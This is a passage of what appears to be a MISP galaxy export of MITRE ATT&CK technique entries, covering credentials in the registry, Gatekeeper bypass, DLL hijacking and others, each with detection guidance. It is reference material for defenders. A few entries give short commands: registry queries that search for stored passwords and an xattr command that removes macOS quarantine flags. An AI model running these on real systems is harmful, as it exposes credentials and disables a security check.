Platforms: Linux, macOS, Windows

Data Sources: API monitoring, Process monitoring, File monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Audio Capture - T1123"*

Table 1992. Table References

Links
https://attack.mitre.org/wiki/Technique/T1123

Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

Detection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)

In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024"*

Table 1993. Table References

Links
https://attack.mitre.org/wiki/Technique/T1024
https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf

Graphical User Interface - T1061

Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.

Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions.

Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Graphical User Interface - T1061"*

Table 1994. Table References

Links
https://attack.mitre.org/wiki/Technique/T1061

DCShadow - T1207

DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)

Detection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)

Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)

Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)

Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.

Platforms: Windows

Data Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture

Defense Bypassed: Log analysis

Permissions Required: Administrator

Contributors: Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="DCShadow - T1207"*

Table 1995. Table References

Links
https://attack.mitre.org/wiki/Technique/T1207
https://www.dcshadow.com/
https://adsecurity.org/?page%20id=1821
https://github.com/shellster/DCSYNCMonitor
https://msdn.microsoft.com/en-us/library/ms677626.aspx
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html

Gatekeeper Bypass - T1144

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

Detection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.

Platforms: macOS

Defense Bypassed: Application whitelisting, Anti-virus

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Gatekeeper Bypass - T1144"*

Table 1996. Table References

Links
https://attack.mitre.org/wiki/Technique/T1144
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/

Credentials in Registry - T1214

The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) *Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code> *Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

Detection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.

Platforms: Windows

Data Sources: Windows Registry, Process command-line parameters, Process Monitoring

Permissions Required: User, Administrator

System Requirements: Ability to query some Registry locations depends on the adversary’s level of access. User permissions are usually limited to access of user-related Registry keys.

Contributors: Sudhanshu Chauhan, @Sudhanshu_C

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Credentials in Registry - T1214"*

Table 1997. Table References

Links
https://attack.mitre.org/wiki/Technique/T1214
https://pentestlab.blog/2017/04/19/stored-credentials/

Fallback Channels - T1008

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Fallback Channels - T1008"*

Table 1998. Table References

Links
https://attack.mitre.org/wiki/Technique/T1008
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Exploitation for Privilege Escalation - T1068

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.

Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.

Higher privileges are often necessary to perform additional actions such as some methods of Credential Dumping. Look for additional activity that may indicate an adversary has gained higher privileges.

Platforms: Linux, macOS, Windows

Data Sources: Windows Error Reporting, Process monitoring, Application Logs

Effective Permissions: User

Permissions Required: User

System Requirements: In the case of privilege escalation, the adversary likely already has user permissions on the target system.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Privilege Escalation - T1068"*

Table 1999. Table References

Links
https://attack.mitre.org/wiki/Technique/T1068

Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

===Windows===

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

===Linux/Mac===

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.

===Mac===

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Detection: Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Defense Bypassed: Host forensic analysis

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Hidden Files and Directories - T1158"*

Table 2000. Table References

Links
https://attack.mitre.org/wiki/Technique/T1158
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf

Binary Padding - T1009

Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.

Detection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.

When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.

Platforms: Linux, macOS, Windows

Defense Bypassed: Anti-virus, Signature-based detection

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Binary Padding - T1009"*

Table 2001. Table References

Links
https://attack.mitre.org/wiki/Technique/T1009

Redundant Access - T1108

Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary’s tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)

Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.

Detection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.

Detection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.

If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.

For alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.

Platforms: Linux, macOS, Windows

Data Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs

Defense Bypassed: Anti-virus, Network intrusion detection system

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Redundant Access - T1108"*

Table 2002. Table References

Links
https://attack.mitre.org/wiki/Technique/T1108
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol

Detection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software.

A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.

Network traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring

Requires Network: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Encrypted - T1022"*

Table 2003. Table References

Links
https://attack.mitre.org/wiki/Technique/T1022
http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf[http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf]
https://en.wikipedia.org/wiki/List%20of%20file%20signatures

Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user’s privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.

Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.

Platforms: macOS

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Plist Modification - T1150"*

Table 2004. Table References

Links
https://attack.mitre.org/wiki/Technique/T1150
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

DLL Search Order Hijacking - T1038

Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

Detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

Platforms: Windows

Data Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring

Effective Permissions: User, Administrator, SYSTEM

Defense Bypassed: Process whitelisting

Permissions Required: User, Administrator, SYSTEM

System Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.

Contributors: Stefan Kanthak, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Search Order Hijacking - T1038"*

Table 2005. Table References

Links
https://attack.mitre.org/wiki/Technique/T1038
http://msdn.microsoft.com/en-US/library/ms682586
https://www.owasp.org/index.php/Binary%20planting
http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx
http://msdn.microsoft.com/en-US/library/ms682600
https://msdn.microsoft.com/en-US/library/aa375365
https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/

Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable></code> and <code> HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable> </code> where

<code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)

Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)

Platforms: Windows

Data Sources: Process Monitoring, Windows Registry, Windows event logs

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Image File Execution Options Injection - T1183"*

Table 2006. Table References

Links
https://attack.mitre.org/wiki/Technique/T1183
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml
https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2

Data from Network Shared Drive - T1039

Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.

Adversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

Detection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

System Requirements: Privileges to access network shared drive

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Network Shared Drive - T1039"*

Table 2007. Table References

Links
https://attack.mitre.org/wiki/Technique/T1039

AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

Detection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)

Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

Platforms: Windows

Data Sources: Loaded DLLs, Process monitoring, Windows Registry

Effective Permissions: Administrator, SYSTEM

Permissions Required: Administrator

System Requirements: Secure boot disabled on systems running Windows 8 and later

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="AppInit DLLs - T1103"*

Table 2008. Table References

Links
https://attack.mitre.org/wiki/Technique/T1103
https://support.microsoft.com/en-us/kb/197571
https://msdn.microsoft.com/en-us/library/dn280412
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Browser Bookmark Discovery - T1217

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser.

Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.

Detection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.

System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.

Platforms: Linux, Windows, macOS

Data Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring

Permissions Required: User

Contributors: Mike Kemmerer

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Browser Bookmark Discovery - T1217"*

Table 2009. Table References

Links
https://attack.mitre.org/wiki/Technique/T1217

Standard Non-Application Layer Protocol - T1095

Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Detection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Non-Application Layer Protocol - T1095"*

Table 2010. Table References

Links
https://attack.mitre.org/wiki/Technique/T1095
http://support.microsoft.com/KB/170292
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Netsh Helper DLL - T1128

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.

Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)

Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)

Detection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)

Platforms: Windows

Data Sources: Process monitoring, DLL monitoring, Windows Registry

Permissions Required: Administrator, SYSTEM

System Requirements: netsh

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Netsh Helper DLL - T1128"*

Table 2011. Table References

Links
https://attack.mitre.org/wiki/Technique/T1128
https://technet.microsoft.com/library/bb490939.aspx
https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
https://github.com/outflankbv/NetshHelperBeacon

Account Manipulation - T1098

Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

Detection: Collect events that correlate with changes to account objects on systems and the domain, such as event ID 4738. (Citation: Microsoft User Modified Event) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ (Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password. (Citation: GitHub Mimikatz Issue 92 June 2017)

Use of credentials may also occur at unusual times or to unusual systems or services and may correlate with other suspicious activity.

Platforms: Windows

Data Sources: Authentication logs, API monitoring, Windows event logs, Packet capture

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Manipulation - T1098"*

Table 2012. Table References

Links
https://attack.mitre.org/wiki/Technique/T1098
https://docs.microsoft.com/windows/device-security/auditing/event-4738
https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
https://github.com/gentilkiwi/mimikatz/issues/92

Re-opened Applications - T1164

